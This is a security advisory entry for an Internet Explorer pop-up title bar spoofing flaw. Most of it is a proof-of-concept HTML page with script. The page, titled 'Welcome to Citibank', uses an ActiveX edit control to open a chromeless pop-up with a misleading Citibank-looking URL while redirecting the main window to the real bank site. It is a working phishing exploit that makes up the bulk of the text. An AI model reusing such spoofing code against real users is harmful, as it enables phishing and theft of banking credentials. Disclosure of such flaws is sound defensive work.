source: https://www.securityfocus.com/bid/12602/info Internet Explorer is reported prone to a pop-up window title bar spoofing weakness. The weakness is reported to exist due to a flaw that manifests in script-initiated pop-up windows. This issue may be leveraged by an attacker to display false URI information in the title bar of an Internet Explorer pop-up dialog window. This may facilitate phishing style attacks; other attacks may also be possible. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- saved from url=(0014)about:internet --> <html lang="x-klingon"> <head> <title>Welcome to Citibank</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="Content-Script-Type" content="text/javascript"> <script type="text/javascript"> <!-- Begin function shellscript() { window.focus(); pURL = 'http://securelogin.citibank.com"+".e-gold.com/'; sP = 'toolbar=0,scrollbars=0,location=0,statusbar=0,'; sP += 'menubar=0,resizable=0,width=315,'; sP += 'height=200,left = 250,top = 200' day = new Date(); id = day.getTime(); eval("page" + id + " = window.open(pURL, '" + id + "',sP);"); } function main() { targetURL = 'http://citibank.com/us/index.htm'; x.DOM.Script.execScript(shellscript.toString()); x.DOM.Script.setTimeout("shellscript()"); location.replace(targetURL); } setTimeout(' main() ',1000); // End --> </script> </head> <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" > <param name="ActivateApplets" value="1"> <param name="ActivateActiveXControls" value="1"> </object> </body> </html>